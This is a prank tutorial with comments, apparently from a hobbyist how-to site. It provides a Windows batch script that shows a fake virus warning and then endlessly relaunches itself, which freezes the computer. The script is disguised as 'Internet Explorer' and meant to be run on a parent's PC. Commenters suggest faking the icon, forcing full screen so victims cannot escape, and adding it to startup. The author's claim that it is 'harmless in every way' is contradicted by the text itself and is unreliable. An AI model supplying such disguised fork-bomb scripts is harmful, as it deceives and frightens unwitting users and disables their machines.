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Picture of Basic Batch Virus Prank
Very funny thing to do to a parents computer. Harmless in every way. All you must do is restart the computer and delete the .BAT file and everything will go back to normal.
 
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Step 1: Writing the Batch file

1) Go Start and open up a basic text document. I like to use notepad because it is quick to load and easy to use.

2) In your text document cut and paste this:

@echo off
echo WARNING VIRUS HAS BEEN DETECTED
echo System check
echo -
echo Power - FAILED
echo -
echo RAM - FAILED
echo -
echo Norton - FAILED
echo -
echo Breach of IP adress
echo -
echo Firewall - FAILED
echo -
echo Virus attaining: ****-****-****-8894
echo -
echo Hard drive must be erased and rebooted to resume windows.
echo -
PAUSE
echo -
echo Starting to reboot hardrive.
echo -
echo Do not attempt to quit.
echo -
echo Restart after 10 minutes approximately.
PAUSE
:START
start Internet Explorer.bat
GOTO START

3) Now click "File" then "Save as..." then save it as "Internet Explorer.BAT" onto the Desktop

I will explain to you what each of these symbols mean.

@echo off : This tells the file to hide what its doing and display what we tell it to.

echo : This tells the file to display something. It displays whatever you write after it.

PAUSE : This is what makes that sign come up that says "Press any key to continue" which literally pauses the file.

:START
start a.bat
GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much.
Ark225 years ago
This is amazing! I searched about 20, and this was the best. Simple and effective, this gets MY thumbs-up. But... if anything, what happens if you DO "press any key"? Does something actually HAPPEN?

yeah it starts his selfe again and again and again so you cant close it

nothing happens thats just a message
chevey2 years ago
is there any way to abort the process once it has started

mhhh you have to open task menager and shut down the prozess ........ But if you just didtn write the "goto start " you can just close it

jrose29 chevey10 months ago
i know you commented a while ago but yes. if you simply close the command window

AHAHAHA i know its ahrmles and write it a little cooler ...... but after 20 sec, my anti virus (kaspersky) deleted it because of dangerouse acticity o.O

AlexisC115 days ago

Aye I used this and it sounded off a multiple amount of clicks with in the mother board and shut the motherboard down and now it does not come on at all I have power to the motherboard but can not cut it on I did a hard reset by taking everything including the cmos battery, resetting the motherboard via jumper with also disconnecting the hard drives and ram ....? Lost now

oliabe1 year ago
(quote1) --> "Harmless in every way."
(quote2) --> "GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much."

OMFG Freezing your parents computer is soooooo harmless :P
~KnexBuild~3 years ago
5 stars
hungyhipo 24 years ago
you can stop it by pushing the x in the corner

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johnny elda4 years ago
Another cool bit @echo off Title virus detected Color 4c Echo - Echo - Echo - "Title" let's you name the window after you open the "trap" instead of saying internet explorer it says (virus detected) and it does not change the name on the icon. "Color 4c" Go to cmd prompt and type in color mm and it will give you a list of the diff colors you can use 4 is red background and c is light red words (makes it look scary) The extra echo's are for if you want to go to full screen so they can't escape (on my computer it cuts off the top for some reason) but it makes the effect mutch better Just right click on the icon properties>options>click the full screen button. I'm new let me know whatcha tank...
I once accidentaly started on of my Batch viruses on a friend's parents computer. It was the scarest thing ever!
knex_mepalm4 years ago
 Lol fail, you should see my on just download pop on enemy's pc and bang, computer goes dead in an hour, more like a system eatr thought. Its at my test subject forum
put this in startup it really screws with the computer
Ark225 years ago
Never mind, I found out. But you can just close the file anyways...
fwjs286 years ago
that virus is a bacteriophage
But the real question is, what virus is it?
agreed?
flymudpie (author)  fwjs286 years ago
the one on the front cover?
ya
flymudpie (author)  fwjs286 years ago
cool man
Hi i figure i have a couple of questions bout the virus batch thing..first one: when u use notebook and type the @echo, start and all that stuff...y do u have to save it as in the desktop, y not just save it as in the MY DOCUMENTS because you are going to transfer the file into the MY DOCUMENTS later on...second: y do you have to create a shortcut for the batch file in MY DOCUMENTS when you could just rename the original batch file into internet explorer and change the icon into internet explorer icon for the original batch file? and THIRD: NOW THIS IS REALLY IMPORTANT: after the virus prank takes effect, HOW DO WE DEACTIVATED OR TURN IT OFF SO THE COMPUTER GOES BACK NORMAL AGAIN? THX!!!! for posting these pictures up, buz its been a long time since i had revenge!!!:) thanks for you time!
2nd question you need to create a shortcut because if you dont you wont be able to change the icon on some computers 3rd question you jsut use the reset button or the on button on the front of your pc/laptop
first question: you answered it yourself.
sypher fwjs286 years ago
what? I thought that was a prion?
sypher sypher6 years ago
nevermind
sgt. frog5 years ago
tomorro is april fools day it also happens to be the day that the conficker virus activates itself. o man is this gonna be fun hahaha
twenglish16 years ago
it would be much more effective if you spelled "address" right
jespo0o6 years ago
after it is "triggered" how do you stop it?? (cause if I can't make it stop my parents are gonna take away my pc )
flymudpie (author)  jespo0o6 years ago
Just reboot the computer.
Hi i need help um u typed down @echo and you said you can type down anything after @echo: , so i can write anything after @echo:, such as warning your computer is shutting down OR warning your computer has a virus! and what bout the echo: off? < how bout that? thx!
lordjohnnym6 years ago
nyce tut but i dont get how you install the firefox icons as everyone of my familly members used it and it can be put into the start menu, of which is good. i tried a more basic, computer switch off batch b4, and they still fool me sometimes.
lordjohnnym6 years ago
whats with you background p/m about that
xenongamer6 years ago
so it's a fork bomb and a fake virus? 2 hits! however, if you wanted to not do the slow part, you could write something to close the bat as the second one opens.